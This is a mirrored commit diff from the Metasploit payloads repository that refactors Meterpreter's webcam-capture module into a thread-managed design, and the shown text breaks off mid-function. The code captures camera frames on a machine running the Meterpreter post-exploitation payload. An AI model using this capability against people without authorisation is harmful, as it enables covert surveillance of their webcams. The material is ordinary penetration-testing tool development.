mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-30 22:19:17 +02:00
Land #44, fix webcam crashes
This commit is contained in:
commit
454e56adb3
c/meterpreter/source
@ -171,13 +171,13 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
||||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||||
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
||||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||||
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
||||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
||||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; }
|
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
|
||||||
|
|
||||||
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
||||||
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||||
|
@ -63,6 +63,7 @@
|
|||||||
#include "net/net.h"
|
#include "net/net.h"
|
||||||
#include "ui/ui.h"
|
#include "ui/ui.h"
|
||||||
#include "webcam/webcam.h"
|
#include "webcam/webcam.h"
|
||||||
|
#include "webcam/audio.h"
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
#include "railgun/railgun.h" // PKS, win32 specific at the moment.
|
#include "railgun/railgun.h" // PKS, win32 specific at the moment.
|
||||||
|
@ -1,4 +1,13 @@
|
|||||||
//This software is based on Touchless, which is released under the Microsoft Public License (Ms-PL)
|
/*!
|
||||||
|
* @file webcam.cpp
|
||||||
|
* @brief Contains webcam interaction function definitions.
|
||||||
|
* @todo Add a function which allows for the webcam snap functionality to be done in
|
||||||
|
* a single call instead of three separate calls resulting in a whole new thread
|
||||||
|
* being created and managed. The new function should reuse the thread if it exists
|
||||||
|
* but not bother with a new thread if it doesn't.
|
||||||
|
* @remark This software is based on Touchless, which is released under MS-PL.
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef CINTERFACE
|
#ifdef CINTERFACE
|
||||||
#undef CINTERFACE
|
#undef CINTERFACE
|
||||||
#endif
|
#endif
|
||||||
@ -13,12 +22,22 @@ extern "C" {
|
|||||||
}
|
}
|
||||||
|
|
||||||
//Required interface stuff - bad hack for qedit.h not being present/compatible with later windows versions
|
//Required interface stuff - bad hack for qedit.h not being present/compatible with later windows versions
|
||||||
interface ISampleGrabberCB : public IUnknown {
|
/*!
|
||||||
|
* @brief Forward declaration of required \c ISampleGrabberCB interface.
|
||||||
|
*/
|
||||||
|
interface ISampleGrabberCB : public IUnknown
|
||||||
|
{
|
||||||
virtual STDMETHODIMP SampleCB( double SampleTime, IMediaSample *pSample ) = 0;
|
virtual STDMETHODIMP SampleCB( double SampleTime, IMediaSample *pSample ) = 0;
|
||||||
virtual STDMETHODIMP BufferCB( double SampleTime, BYTE *pBuffer, long BufferLen ) = 0;
|
virtual STDMETHODIMP BufferCB( double SampleTime, BYTE *pBuffer, long BufferLen ) = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
static const IID IID_ISampleGrabberCB = { 0x0579154A, 0x2B53, 0x4994, { 0xB0, 0xD0, 0xE7, 0x73, 0x14, 0x8E, 0xFF, 0x85 } };
|
static const IID IID_ISampleGrabberCB = { 0x0579154A, 0x2B53, 0x4994, { 0xB0, 0xD0, 0xE7, 0x73, 0x14, 0x8E, 0xFF, 0x85 } };
|
||||||
interface ISampleGrabber : public IUnknown {
|
|
||||||
|
/*!
|
||||||
|
* @brief Forward declaration of required \c ISampleGrabber interface.
|
||||||
|
*/
|
||||||
|
interface ISampleGrabber : public IUnknown
|
||||||
|
{
|
||||||
virtual HRESULT STDMETHODCALLTYPE SetOneShot( BOOL OneShot ) = 0;
|
virtual HRESULT STDMETHODCALLTYPE SetOneShot( BOOL OneShot ) = 0;
|
||||||
virtual HRESULT STDMETHODCALLTYPE SetMediaType( const AM_MEDIA_TYPE *pType ) = 0;
|
virtual HRESULT STDMETHODCALLTYPE SetMediaType( const AM_MEDIA_TYPE *pType ) = 0;
|
||||||
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( AM_MEDIA_TYPE *pType ) = 0;
|
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( AM_MEDIA_TYPE *pType ) = 0;
|
||||||
@ -27,26 +46,21 @@ interface ISampleGrabber : public IUnknown {
|
|||||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( IMediaSample **ppSample ) = 0;
|
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( IMediaSample **ppSample ) = 0;
|
||||||
virtual HRESULT STDMETHODCALLTYPE SetCallback( ISampleGrabberCB *pCallback, long WhichMethodToCallback ) = 0;
|
virtual HRESULT STDMETHODCALLTYPE SetCallback( ISampleGrabberCB *pCallback, long WhichMethodToCallback ) = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
static const IID IID_ISampleGrabber = { 0x6B652FFF, 0x11FE, 0x4fce, { 0x92, 0xAD, 0x02, 0x66, 0xB5, 0xD7, 0xC7, 0x8F } };
|
static const IID IID_ISampleGrabber = { 0x6B652FFF, 0x11FE, 0x4fce, { 0x92, 0xAD, 0x02, 0x66, 0xB5, 0xD7, 0xC7, 0x8F } };
|
||||||
static const CLSID CLSID_SampleGrabber = { 0xC1F400A0, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } };
|
static const CLSID CLSID_SampleGrabber = { 0xC1F400A0, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } };
|
||||||
static const CLSID CLSID_NullRenderer = { 0xC1F400A4, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } };
|
static const CLSID CLSID_NullRenderer = { 0xC1F400A4, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } };
|
||||||
|
|
||||||
//Handle used for synchronization. Main thread waits for capture event to be signalled to clean up
|
/*! @brief Handle used for synchronisation with the main webcam grabber thread. */
|
||||||
HANDLE writeEvent;
|
HANDLE writeEvent;
|
||||||
|
|
||||||
//Store width/height of captured frame
|
/*! @brief Width of the captured frame. */
|
||||||
int nWidth;
|
int nWidth;
|
||||||
|
/*! @brief Height of the captured frame. */
|
||||||
int nHeight;
|
int nHeight;
|
||||||
bool running = false;
|
|
||||||
|
|
||||||
//Capture variables
|
/*! @brief Define a reasonable number of slots for cameras. */
|
||||||
#define MAX_CAMERAS 10
|
#define MAX_CAMERAS 10
|
||||||
IGraphBuilder* g_pGraphBuilder = NULL;
|
|
||||||
IMediaControl* g_pMediaControl = NULL;
|
|
||||||
ICaptureGraphBuilder2* g_pCaptureGraphBuilder = NULL;
|
|
||||||
IBaseFilter* g_pIBaseFilterCam = NULL;
|
|
||||||
IBaseFilter* g_pIBaseFilterSampleGrabber = NULL;
|
|
||||||
IBaseFilter* g_pIBaseFilterNullRenderer = NULL;
|
|
||||||
|
|
||||||
PBYTE imgdata = NULL;
|
PBYTE imgdata = NULL;
|
||||||
long imgsize = 0;
|
long imgsize = 0;
|
||||||
@ -55,40 +69,41 @@ PBYTE bmpdata = NULL;
|
|||||||
DWORD jpgsize = 0;
|
DWORD jpgsize = 0;
|
||||||
PBYTE jpgarray = NULL; //shouldn't be bigger, right?
|
PBYTE jpgarray = NULL; //shouldn't be bigger, right?
|
||||||
|
|
||||||
// SampleGrabber callback interface
|
/*! @brief SampleGrabber callback interface implementation. */
|
||||||
class MySampleGrabberCB : public ISampleGrabberCB{
|
class MySampleGrabberCB : public ISampleGrabberCB
|
||||||
|
{
|
||||||
public:
|
public:
|
||||||
MySampleGrabberCB(){
|
MySampleGrabberCB() {
|
||||||
m_nRefCount = 0;
|
m_nRefCount = 0;
|
||||||
}
|
}
|
||||||
virtual HRESULT STDMETHODCALLTYPE SampleCB(
|
virtual HRESULT STDMETHODCALLTYPE SampleCB(
|
||||||
double SampleTime,
|
double SampleTime,
|
||||||
IMediaSample *pSample){
|
IMediaSample *pSample) {
|
||||||
return E_FAIL;
|
return E_FAIL;
|
||||||
}
|
}
|
||||||
virtual HRESULT STDMETHODCALLTYPE BufferCB(
|
virtual HRESULT STDMETHODCALLTYPE BufferCB(
|
||||||
double SampleTime,
|
double SampleTime,
|
||||||
BYTE *pBuffer,
|
BYTE *pBuffer,
|
||||||
long BufferLen) {
|
long BufferLen) {
|
||||||
if (imgdata == NULL || imgsize < BufferLen){
|
if (imgdata == NULL || imgsize < BufferLen) {
|
||||||
imgsize = BufferLen;
|
imgsize = BufferLen;
|
||||||
if(imgdata != NULL)
|
if (imgdata != NULL)
|
||||||
free(imgdata);
|
free(imgdata);
|
||||||
imgdata = (PBYTE)malloc(imgsize);
|
imgdata = (PBYTE)malloc(imgsize);
|
||||||
}
|
}
|
||||||
memcpy(imgdata,pBuffer,imgsize);
|
memcpy(imgdata, pBuffer, imgsize);
|
||||||
SetEvent(writeEvent); //Notify of new frame
|
SetEvent(writeEvent); //Notify of new frame
|
||||||
return S_OK;
|
return S_OK;
|
||||||
}
|
}
|
||||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(
|
virtual HRESULT STDMETHODCALLTYPE QueryInterface(
|
||||||
REFIID riid,
|
REFIID riid,
|
||||||
void **ppvObject) {
|
void **ppvObject) {
|
||||||
return E_FAIL; // Not a very accurate implementation
|
return E_FAIL; // Not a very accurate implementation
|
||||||
}
|
}
|
||||||
virtual ULONG STDMETHODCALLTYPE AddRef(){
|
virtual ULONG STDMETHODCALLTYPE AddRef() {
|
||||||
return ++m_nRefCount;
|
return ++m_nRefCount;
|
||||||
}
|
}
|
||||||
virtual ULONG STDMETHODCALLTYPE Release(){
|
virtual ULONG STDMETHODCALLTYPE Release() {
|
||||||
int n = --m_nRefCount;
|
int n = --m_nRefCount;
|
||||||
if (n <= 0)
|
if (n <= 0)
|
||||||
delete this;
|
delete this;
|
||||||
@ -98,87 +113,68 @@ private:
|
|||||||
int m_nRefCount;
|
int m_nRefCount;
|
||||||
};
|
};
|
||||||
|
|
||||||
extern "C" {
|
/*! @brief Valid actions that can be invoked on the webcam control thread. */
|
||||||
// lists webcams
|
typedef enum
|
||||||
DWORD request_webcam_list(Remote *remote, Packet *packet){
|
{
|
||||||
Packet *response = packet_create_response(packet);
|
Stop = 1, ///< Tell the webcam control thread to terminate.
|
||||||
|
GetFrame = 2 ///< Tell the webcam control thread to capture a frame.
|
||||||
|
} WebcamAction;
|
||||||
|
|
||||||
|
/*! @brief State structure which is used for C&C of the webcam control thread. */
|
||||||
|
typedef struct _WebcamThreadState
|
||||||
|
{
|
||||||
|
EVENT* pCallEvent; ///< Event used to make a call on the thread.
|
||||||
|
EVENT* pResultEvent; ///< Event used to pause the thread.
|
||||||
|
UINT index; ///< Index of the camera to used.
|
||||||
|
BOOL bRunning; ///< Indicates if the control thread is running.
|
||||||
|
DWORD dwResult; ///< Result of control thread processing.
|
||||||
|
WebcamAction controlAction; ///< Action to perform on the control thread.
|
||||||
|
UINT frameQuality; ///< Quality setting for frame capture.
|
||||||
|
IGraphBuilder* pGraphBuilder; ///< COM-based graph builder.
|
||||||
|
IMediaControl* pMediaControl; ///< COM-based media control.
|
||||||
|
ICaptureGraphBuilder2* pCaptureGraphBuilder; ///< COM-based graph capture pointer.
|
||||||
|
IBaseFilter* pIBaseFilterCam; ///< COM-based camera filter.
|
||||||
|
IBaseFilter* pIBaseFilterSampleGrabber; ///< COM-based grabber.
|
||||||
|
IBaseFilter* pIBaseFilterNullRenderer; ///< COM-based NULL renderer.
|
||||||
|
Packet* pResponse; ///< Response packet to write the result to.
|
||||||
|
} WebcamThreadState;
|
||||||
|
|
||||||
|
/*! @brief Reference to the thread state in use by the control thread. */
|
||||||
|
WebcamThreadState* g_pThreadState = NULL;
|
||||||
|
|
||||||
|
/*! @brief Reference to the control thread. */
|
||||||
|
THREAD* g_pWorkerThread = NULL;
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Start a webcam recording.
|
||||||
|
* @param state Pointer to the \c WebcamThreadState which contains startup information.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
* @retval ERROR_SUCCESS Starting the webcam succeeded.
|
||||||
|
*/
|
||||||
|
DWORD webcam_start(WebcamThreadState* state)
|
||||||
|
{
|
||||||
|
HRESULT hr;
|
||||||
DWORD dwResult = ERROR_SUCCESS;
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
do{
|
do
|
||||||
|
{
|
||||||
IEnumMoniker* pclassEnum = NULL;
|
IEnumMoniker* pclassEnum = NULL;
|
||||||
ICreateDevEnum* pdevEnum = NULL;
|
ICreateDevEnum* pdevEnum = NULL;
|
||||||
|
|
||||||
CoInitialize(NULL);
|
if (state->index < 1) {
|
||||||
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum,
|
BREAK_WITH_ERROR("[WEBCAM] No webcams found", ERROR_FILE_NOT_FOUND);
|
||||||
NULL,
|
|
||||||
CLSCTX_INPROC,
|
|
||||||
IID_ICreateDevEnum,
|
|
||||||
(LPVOID*)&pdevEnum);
|
|
||||||
|
|
||||||
if (SUCCEEDED(hr))
|
|
||||||
hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0);
|
|
||||||
|
|
||||||
if (pdevEnum != NULL){
|
|
||||||
pdevEnum->Release();
|
|
||||||
pdevEnum = NULL;
|
|
||||||
}
|
}
|
||||||
int nCount = 0;
|
|
||||||
IUnknown* pUnk = NULL;
|
|
||||||
if (pclassEnum == NULL)
|
|
||||||
break;// Error!
|
|
||||||
|
|
||||||
IMoniker* apIMoniker[1];
|
|
||||||
ULONG ulCount = 0;
|
|
||||||
while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){
|
|
||||||
IPropertyBag *pPropBag;
|
|
||||||
hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pPropBag);
|
|
||||||
if (SUCCEEDED(hr)) {
|
|
||||||
// To retrieve the filter's friendly name, do the following:
|
|
||||||
VARIANT varName;
|
|
||||||
VariantInit(&varName);
|
|
||||||
hr = pPropBag->Read(L"FriendlyName", &varName, 0);
|
|
||||||
//get chars from wchars
|
|
||||||
size_t converted;
|
|
||||||
char charbuf[512];
|
|
||||||
wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf));
|
|
||||||
if (SUCCEEDED(hr) && varName.vt == VT_BSTR)
|
|
||||||
packet_add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf);
|
|
||||||
VariantClear(&varName);
|
|
||||||
pPropBag->Release();
|
|
||||||
}
|
|
||||||
nCount++;
|
|
||||||
}
|
|
||||||
pclassEnum->Release();
|
|
||||||
if(pUnk == NULL)
|
|
||||||
break;// No webcam!
|
|
||||||
} while (0);
|
|
||||||
|
|
||||||
dwResult = GetLastError();
|
|
||||||
packet_transmit_response(dwResult, remote, response);
|
|
||||||
return dwResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Starts webcam
|
|
||||||
DWORD request_webcam_start(Remote *remote, Packet *packet){
|
|
||||||
Packet *response = packet_create_response(packet);
|
|
||||||
DWORD dwResult = ERROR_SUCCESS;
|
|
||||||
UINT index = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID);
|
|
||||||
|
|
||||||
do {
|
|
||||||
if(running)
|
|
||||||
BREAK_WITH_ERROR("Already running!", ERROR_SERVICE_ALREADY_RUNNING)
|
|
||||||
IEnumMoniker* pclassEnum = NULL;
|
|
||||||
ICreateDevEnum* pdevEnum = NULL;
|
|
||||||
if(index < 1)
|
|
||||||
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND)
|
|
||||||
CoInitialize(NULL);
|
CoInitialize(NULL);
|
||||||
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum,
|
hr = CoCreateInstance(CLSID_SystemDeviceEnum,
|
||||||
NULL,
|
NULL,
|
||||||
CLSCTX_INPROC,
|
CLSCTX_INPROC,
|
||||||
IID_ICreateDevEnum,
|
IID_ICreateDevEnum,
|
||||||
(LPVOID*)&pdevEnum);
|
(LPVOID*)&pdevEnum);
|
||||||
if (FAILED(hr))
|
|
||||||
BREAK_WITH_ERROR("No webcams found", hr)
|
if (FAILED(hr)) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] No webcams found", hr);
|
||||||
|
}
|
||||||
|
|
||||||
hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0);
|
hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0);
|
||||||
|
|
||||||
@ -186,67 +182,93 @@ DWORD request_webcam_start(Remote *remote, Packet *packet){
|
|||||||
pdevEnum->Release();
|
pdevEnum->Release();
|
||||||
pdevEnum = NULL;
|
pdevEnum = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
UINT nCount = 0;
|
UINT nCount = 0;
|
||||||
IUnknown* pUnk = NULL;
|
IUnknown* pUnk = NULL;
|
||||||
if (pclassEnum == NULL)
|
if (pclassEnum == NULL) {
|
||||||
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND) // Error!
|
BREAK_WITH_ERROR("[WEBCAM] No webcams found", ERROR_FILE_NOT_FOUND);
|
||||||
|
}
|
||||||
|
|
||||||
IMoniker* apIMoniker[1];
|
IMoniker* apIMoniker[1];
|
||||||
|
|
||||||
ULONG ulCount = 0;
|
ULONG ulCount = 0;
|
||||||
while (SUCCEEDED(hr) && nCount < index && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){
|
while (SUCCEEDED(hr) && nCount < state->index && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK) {
|
||||||
pUnk = apIMoniker[0];
|
pUnk = apIMoniker[0];
|
||||||
nCount++;
|
nCount++;
|
||||||
}
|
}
|
||||||
|
|
||||||
pclassEnum->Release();
|
pclassEnum->Release();
|
||||||
if(pUnk == NULL)
|
if (pUnk == NULL) {
|
||||||
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND)
|
BREAK_WITH_ERROR("[WEBCAM] No webcams found", ERROR_FILE_NOT_FOUND);
|
||||||
|
}
|
||||||
|
|
||||||
IMoniker *pMoniker = NULL;
|
IMoniker *pMoniker = NULL;
|
||||||
|
|
||||||
// Grab the moniker interface
|
// Grab the moniker interface
|
||||||
hr = pUnk->QueryInterface(IID_IMoniker, (LPVOID*)&pMoniker);
|
hr = pUnk->QueryInterface(IID_IMoniker, (LPVOID*)&pMoniker);
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("Query interface failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Query interface failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Creating state->pGraphBuilder");
|
||||||
|
|
||||||
// Build all the necessary interfaces to start the capture
|
// Build all the necessary interfaces to start the capture
|
||||||
hr = CoCreateInstance(CLSID_FilterGraph,
|
hr = CoCreateInstance(CLSID_FilterGraph,
|
||||||
NULL,
|
NULL,
|
||||||
CLSCTX_INPROC,
|
CLSCTX_INPROC,
|
||||||
IID_IGraphBuilder,
|
IID_IGraphBuilder,
|
||||||
(LPVOID*)&g_pGraphBuilder);
|
(LPVOID*)&state->pGraphBuilder);
|
||||||
if (FAILED(hr))
|
|
||||||
BREAK_WITH_ERROR("Filter graph creation failed", hr)
|
|
||||||
|
|
||||||
hr = g_pGraphBuilder->QueryInterface(IID_IMediaControl, (LPVOID*)&g_pMediaControl);
|
if (FAILED(hr)) {
|
||||||
if (FAILED(hr))
|
BREAK_WITH_ERROR("[WEBCAM] Filter graph creation failed", hr);
|
||||||
BREAK_WITH_ERROR("Query interface failed", hr)
|
}
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Created state->pGraphBuilder (%p).", state->pGraphBuilder);
|
||||||
|
|
||||||
|
hr = state->pGraphBuilder->QueryInterface(IID_IMediaControl, (LPVOID*)&state->pMediaControl);
|
||||||
|
if (FAILED(hr)) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Query interface failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
hr = CoCreateInstance(CLSID_CaptureGraphBuilder2,
|
hr = CoCreateInstance(CLSID_CaptureGraphBuilder2,
|
||||||
NULL,
|
NULL,
|
||||||
CLSCTX_INPROC,
|
CLSCTX_INPROC,
|
||||||
IID_ICaptureGraphBuilder2,
|
IID_ICaptureGraphBuilder2,
|
||||||
(LPVOID*)&g_pCaptureGraphBuilder);
|
(LPVOID*)&state->pCaptureGraphBuilder);
|
||||||
if (FAILED(hr))
|
|
||||||
BREAK_WITH_ERROR("Capture Graph Builder failed", hr)
|
if (FAILED(hr)) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Capture Graph Builder failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Setup the filter graph
|
// Setup the filter graph
|
||||||
hr = g_pCaptureGraphBuilder->SetFiltergraph(g_pGraphBuilder);
|
hr = state->pCaptureGraphBuilder->SetFiltergraph(state->pGraphBuilder);
|
||||||
if (FAILED(hr))
|
|
||||||
BREAK_WITH_ERROR("Set filter graph failed", hr)
|
if (FAILED(hr)) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Set filter graph failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Build the camera from the moniker
|
// Build the camera from the moniker
|
||||||
hr = pMoniker->BindToObject(NULL, NULL, IID_IBaseFilter, (LPVOID*)&g_pIBaseFilterCam);
|
hr = pMoniker->BindToObject(NULL, NULL, IID_IBaseFilter, (LPVOID*)&state->pIBaseFilterCam);
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("Bind to object failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Bind to object failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Add the camera to the filter graph
|
// Add the camera to the filter graph
|
||||||
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterCam, L"WebCam");
|
hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterCam, L"WebCam");
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("Add filter failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Add filter failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Create a SampleGrabber
|
// Create a SampleGrabber
|
||||||
hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterSampleGrabber);
|
hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterSampleGrabber);
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("Create sample grabber failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Create sample grabber failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Configure the Sample Grabber
|
// Configure the Sample Grabber
|
||||||
ISampleGrabber *pGrabber = NULL;
|
ISampleGrabber *pGrabber = NULL;
|
||||||
hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (void**)&pGrabber);
|
hr = state->pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (void**)&pGrabber);
|
||||||
if (SUCCEEDED(hr)){
|
if (SUCCEEDED(hr)) {
|
||||||
AM_MEDIA_TYPE mt;
|
AM_MEDIA_TYPE mt;
|
||||||
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
||||||
mt.majortype = MEDIATYPE_Video;
|
mt.majortype = MEDIATYPE_Video;
|
||||||
@ -254,53 +276,71 @@ DWORD request_webcam_start(Remote *remote, Packet *packet){
|
|||||||
mt.formattype = FORMAT_VideoInfo;
|
mt.formattype = FORMAT_VideoInfo;
|
||||||
hr = pGrabber->SetMediaType(&mt);
|
hr = pGrabber->SetMediaType(&mt);
|
||||||
}
|
}
|
||||||
if (SUCCEEDED(hr)){
|
|
||||||
|
if (SUCCEEDED(hr)) {
|
||||||
MySampleGrabberCB* msg = new MySampleGrabberCB();
|
MySampleGrabberCB* msg = new MySampleGrabberCB();
|
||||||
hr = pGrabber->SetCallback(msg, 1);
|
hr = pGrabber->SetCallback(msg, 1);
|
||||||
}
|
}
|
||||||
if (pGrabber != NULL){
|
|
||||||
|
if (pGrabber != NULL) {
|
||||||
pGrabber->Release();
|
pGrabber->Release();
|
||||||
pGrabber = NULL;
|
pGrabber = NULL;
|
||||||
}
|
}
|
||||||
if (FAILED(hr))
|
|
||||||
BREAK_WITH_ERROR("Sample grabber instantiation failed", hr)
|
if (FAILED(hr)) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Sample grabber instantiation failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Add Sample Grabber to the filter graph
|
// Add Sample Grabber to the filter graph
|
||||||
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterSampleGrabber, L"SampleGrabber");
|
hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterSampleGrabber, L"SampleGrabber");
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("Add Sample Grabber to the filter graph failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Add Sample Grabber to the filter graph failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Create the NullRender
|
// Create the NullRender
|
||||||
hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterNullRenderer);
|
hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterNullRenderer);
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("Create the NullRender failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Create the NullRender failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Add the Null Render to the filter graph
|
// Add the Null Render to the filter graph
|
||||||
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterNullRenderer, L"NullRenderer");
|
hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterNullRenderer, L"NullRenderer");
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("Add the Null Render to the filter graph failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Add the Null Render to the filter graph failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Configure the render stream
|
// Configure the render stream
|
||||||
hr = g_pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video, g_pIBaseFilterCam,
|
hr = state->pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video, state->pIBaseFilterCam,
|
||||||
g_pIBaseFilterSampleGrabber, g_pIBaseFilterNullRenderer);
|
state->pIBaseFilterSampleGrabber, state->pIBaseFilterNullRenderer);
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("Configure the render stream failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Configure the render stream failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Grab the capture width and height
|
// Grab the capture width and height
|
||||||
hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (LPVOID*)&pGrabber);
|
hr = state->pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (LPVOID*)&pGrabber);
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
